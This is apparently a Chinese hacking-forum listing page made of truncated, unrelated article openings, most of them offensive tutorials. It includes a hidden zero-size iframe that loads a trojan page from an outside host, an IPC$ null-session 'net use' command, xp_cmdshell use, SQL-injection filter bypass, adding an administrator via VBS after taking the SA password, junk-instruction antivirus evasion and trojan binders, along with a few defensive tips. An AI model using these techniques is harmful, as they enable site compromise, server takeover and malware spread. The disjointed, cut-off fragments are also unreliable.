用Google浏览器浏览此篇文章，并点击下面的字符：EVIL:%是不是很爽，^_^。
1，挂马的N种方法(1)HTML挂马法。常规的HTML挂马方法一般是在网页中插入一条iframe语句，像<iframesrc=http://www.xxx.com/horse.htmlwidth=0height=0></iframe>。查看站点是否被挂，一般是查找一下关键词iframe。(2)再隐藏一点
Win2k的缺省安装很容易被攻击者取得帐号列表，即使安装了最新的Serviceack也是如此。方案一1.打补丁微软的作风就是三天一小补，五天一大补，漏洞太多，补一点就好一点，使用“开始-WindowsUpdate"然后把所有的补丁都装进去吧2.删除
netuse\192.168.0.1ipc$Content$nbsp;""/user:administrator提到139端口，我想知道的人一定非常多，本来是不想用写这个教程的，但考虑要照顾到新人，所以还是简单的写一下。首先，连接的命令是：net<空格>use<空格>\
应用程序级的安全漏洞通常不会像类似SirCam的邮件病毒或者诸如CodeRed这样的蠕虫病毒那么容易广为扩散，但它们也同样会造成很多问题，从窃取产品或信息到使整个Web站点完全瘫痪。确保网站web应用程序的安全不是一件简单的事，而不幸的是对应用程序的攻击是非
对于进程这个概念，许多电脑用户都没有给予太多关注。在很多人印象里，只知道结束进程可以杀死程序，至于哪些进程对应哪些程序，究竟什么样的进程该杀，什么样的进程不能杀这些问题很少考虑。这里通过几个实例为大家揭开进程的神秘面纱。实例一：和进程的&ldq
看了你昨天的留言，我才知道原来木马可以用这么多方式传播呀。那我想问你一件事，常在河边走，哪有不湿鞋，你经常黑别人，难道就没有被别人黑过吗?你是怎么防范其他黑客攻击的呢?就像你说的那样，我也中过木马，也同样被黑过，我的经验告诉
第一招:屏幕保护在Windows中启用了屏幕保护之后，只要我们离开计算机(或者不操作计算机)的时间达到预设的时间，系统就会自动启动屏幕保护程序，而当用户移动鼠标或敲击键盘想返回正常工作状态时，系统就会打开一个密码确认框，只有输入正确的密码之后才能返回
/*******导出到excelEXECmaster..xp_cmdshell'bcpSettleDB.dbo.shanghuoutc:temp1.xls-c-q-S"GNETDATA/GNETDATA"-U"sa"-P""'/***********导入ExcelSelect*FROMOpenDataSource('Microsoft.Jet.OLEDB.4.0','DataS
“本地连接”突然受限单位局域网中有一台旧计算机，平时安装使用的是WindowsXP系统，在该系统环境下该计算机可以正常访问网络;后来，某位同事为了能够在第一时间体验到WindowsVista系统的精彩，特意对该计算机系统进行了升级，不过升级之后他发现Wi
呆在家中上网聊天实在不是一件惬意的事：每一天打开QQ，迎接我的都是一串一串的广告……国庆黄金周，连广告也不放过！：（无奈，打开VisualC++，开始了我的“反骚扰”之路。首先我面对的问题是：QQ一共有几种广告，我能用什么方法消灭
突然想我们是否可以用什么方法绕过SQL注入的限制呢？到网上考察了一下，提到的方法大多都是针对AND与“’”号和“=”号过滤的突破，虽然有点进步的地方，但还是有一些关键字没有绕过，由于我不常入侵网站所以也不敢对上述过滤的效果
内网渗透的思想是源于特洛伊木马的思想---堡垒最容易从内部攻破，一个大型的网站，一个大型的公司，一个大型的目标，在外肉，管理员总会千方百计的加强防范和修补漏洞，常规的方法进去几乎是不可能。内网渗透的突破口是我们如何得到一个内网的个人机或是内网
鄙人今天心血来潮突然想写篇文章,鄙人从来没写过文章,如果有错误的地方请多多指教.本文需要有基础的SQL语句知识才可以更好的理解.建议想学习的人多去了解一下SQL语句和编程语言,知己知彼才能百战百胜.我不希翼得到读者您的好评,尽管我尽力了;只希望本文能解决
在获得SA密码后，往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用，无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象，用来管理本地资源，利用它可以不依靠CMD等命令就能添加一个管理员，具体代码如下：setwsnet
一：检测一下网站的服务器是否开了3389远程终端二：检测一下服务是否用了serv-u（还有是什么版本的）方法一：复制一个网站用3389登陆器连接一下（是否成功）能连接了，拿下服务器的机率，提高30%了二：用ftp模式查下一个服务器的版本开
以前看过分析家写过一篇文章，介绍跨站脚本的安全隐患，当时只是知道有这样的问题，也没有仔细阅读，目前此类问题经常在一些安全站点发布，偶刚好看到这样一篇文章，抱着知道总比不知道好的想法，翻译整理了一下，原文在偶主页的collection目录里，错误
注:编写花指令,可参考以下成双指令,可任意自由组合.达到免杀效果.pushebppopebppusheaxpopeaxpushesppopesppush0push0push10-------其中数字可以任意,注意与下面对应push-10nop-----------可任意在中
大家在是否碰到过这样的站点：全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担，提高访问速度。二来也阻止了SQL注入式的攻击。。我来说说他们的文章系统原理：全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页
一、传统的捆绑器这种原理很简单，也是目前用的最多的一种。就是将B.exe附加到A.exe的末尾。这样当A.exe被执行的时候，B.exe也跟着执行了。这种捆绑器的代码是满网都是。我最早是从jingtao的一篇关于流的文章中得知的。就目前来说，已经没什么技术含量了。
